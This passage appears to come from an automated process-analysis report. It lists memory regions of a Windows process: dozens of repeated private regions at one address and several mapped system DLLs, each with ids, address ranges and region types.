	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 650
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 651
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 652
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 653
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 654
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 655
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 656
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 657
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 658
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 659
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 660
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 661
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 662
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 663
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 664
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 665
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 666
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 667
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 668
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 669
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 670
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 671
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 672
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 673
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 674
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 675
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 676
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 677
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 678
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 679
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 680
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 681
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 682
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 683
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 684
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 685
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 686
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 687
	        start_va = 0x2440000
	          end_va = 0x2540fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 688
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 689
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 690
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 691
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 692
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 693
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 694
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 695
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 696
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 697
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 698
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 699
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 700
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 701
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 702
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 703
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 704
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 705
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 706
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 707
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 708
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 709
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 710
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 711
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 712
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 713
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 714
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 715
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 716
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 717
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 718
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 719
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 720
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 721
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 722
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 723
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 724
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 725
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 726
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 727
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 728
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 729
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 730
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 731
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 732
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 733
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 734
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 735
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 736
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 737
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 738
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 739
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 740
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 741
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 742
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 743
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 744
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 745
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 746
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 747
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 748
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 749
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 750
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 751
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 752
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 753
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 754
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 755
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 756
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 757
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 758
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 759
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 760
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 761
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 762
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 763
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 764
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 765
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 766
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 767
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 768
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 769
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 770
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 771
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 772
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 773
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 774
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 775
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 776
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 777
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 778
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 779
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 780
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 781
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 782
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 783
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 784
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 785
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 786
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 787
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 788
	        start_va = 0x2440000
	          end_va = 0x2541fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 789
	        start_va = 0xe00000
	          end_va = 0xe26fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e00000"
	        filename = ""

Region:
	              id = 790
	        start_va = 0x74a50000
	          end_va = 0x74b0efff
	     entry_point = 0x74a50000
	     region_type = mapped_file
	            name = "msvcr100.dll"
	        filename = "\\Windows\\SysWOW64\\msvcr100.dll" (normalized: "c:\\windows\\syswow64\\msvcr100.dll")

Region:
	              id = 791
	        start_va = 0x2440000
	          end_va = 0x257ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 792
	        start_va = 0x74bc0000
	          end_va = 0x74c34fff
	     entry_point = 0x74bc0000
	     region_type = mapped_file
	            name = "uxtheme.dll"
	        filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll")

Region:
	              id = 793
	        start_va = 0x2580000
	          end_va = 0x276ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002580000"
	        filename = ""

Region:
	              id = 794
	        start_va = 0x290000
	          end_va = 0x290fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000290000"
	        filename = ""

Region:
	              id = 795
	        start_va = 0x2440000
	          end_va = 0x24f7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002440000"
	        filename = ""

Region:
	              id = 796
	        start_va = 0x2570000
	          end_va = 0x257ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002570000"
	        filename = ""

Region:
	              id = 797
	        start_va = 0x290000
	          end_va = 0x293fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000290000"
	        filename = ""

Region:
	              id = 798
	        start_va = 0x74ba0000
	          end_va = 0x74bbcfff
	     entry_point = 0x74ba0000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll")

Region:
	              id = 799
	        start_va = 0x290000
	          end_va = 0x290fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000290000"
	        filename = ""

Region:
	              id = 800
	        start_va = 0x2440000
	          end_va = 0x24f7fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002440000"
	        filename = ""

Region:
	              id = 801
	        start_va = 0x290000
	          end_va = 0x293fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000290000"
	        filename = ""

Region:
	              id = 802
	        start_va = 0x290000
	          end_va = 0x290fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000290000"
	        filename = ""

Region:
	              id = 803
	        start_va = 0xe00000
	          end_va = 0xe3ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e00000"
	        filename = ""

Region:
	              id = 804
	        start_va = 0x2440000
	          end_va = 0x253ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002440000"
	        filename = ""

Region:
	              id = 805
	        start_va = 0x7ffd5000
	          end_va = 0x7ffd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffd5000"
	        filename = ""

Region:
	              id = 806
	        start_va = 0x2580000
	          end_va = 0x2637fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000002580000"
	        filename = ""

Region:
	              id = 807
	        start_va = 0x2760000
	          end_va = 0x276ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002760000"
	        filename = ""

Region:
	              id = 808
	        start_va = 0x290000
	          end_va = 0x293fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000290000"
	        filename = ""

Region:
	              id = 809
	        start_va = 0x2a0000
	          end_va = 0x2a3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000002a0000"
	        filename = ""

Region:
	              id = 810
	        start_va = 0x2640000
	          end_va = 0x273ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002640000"
	        filename = ""

Region:
	              id = 811
	        start_va = 0xe40000
	          end_va = 0xe7ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000e40000"
	        filename = ""

Region:
	              id = 812
	        start_va = 0x2770000
	          end_va = 0x286ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002770000"
	        filename = ""

Region:
	              id = 813
	        start_va = 0x76f60000
	          end_va = 0x76f6bfff
	     entry_point = 0x76f60000
	     region_type = mapped_file
	            name = "kernel.appcore.dll"
	        filename = "\\Windows\\SysWOW64\\kernel.appcore.dll" (normalized: "c:\\windows\\syswow64\\kernel.appcore.dll")

Region:
	              id = 814
	        start_va = 0x7fead000
	          end_va = 0x7feaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fead000"
	        filename = ""

Region:
	              id = 815
	        start_va = 0xce0000
	          end_va = 0xce0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000ce0000"
	        filename = ""

Region:
	              id = 816
	        start_va = 0x2870000
	          end_va = 0x28effff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000002870000"
	        filename = ""

Region:
	              id = 817
	        start_va = 0x28f0000
	          end_va = 0x2c26fff
	     entry_point = 0x28f0000
	     region_type = mapped_file
	            name = "sortdefault.nls"
	        filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls")

Region:
	              id = 818
	        start_va = 0xce0000
	          end_va = 0xce0fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000ce0000"
	        filename = ""

Region:
	              id = 819
	        start_va = 0xce0000
	          end_va = 0xcf6fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000ce0000"
	        filename = ""

Region:
	              id = 820
	        start_va = 0x77990000
	          end_va = 0x77a0afff
	     entry_point = 0x77990000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll")

Region:
	              id = 821
	        start_va = 0x755b0000
	          end_va = 0x7696efff
	     entry_point = 0x755b0000
	     region_type = mapped_file
	            name = "shell32.dll"
	        filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")

Region:
	              id = 822
	        start_va = 0x750d0000
	          end_va = 0x755acfff
	     entry_point = 0x750d0000
	     region_type = mapped_file
	            name = "windows.storage.dll"
	        filename = "\\Windows\\SysWOW64\\windows.storage.dll" (normalized: "c:\\windows\\syswow64\\windows.storage.dll")

Region:
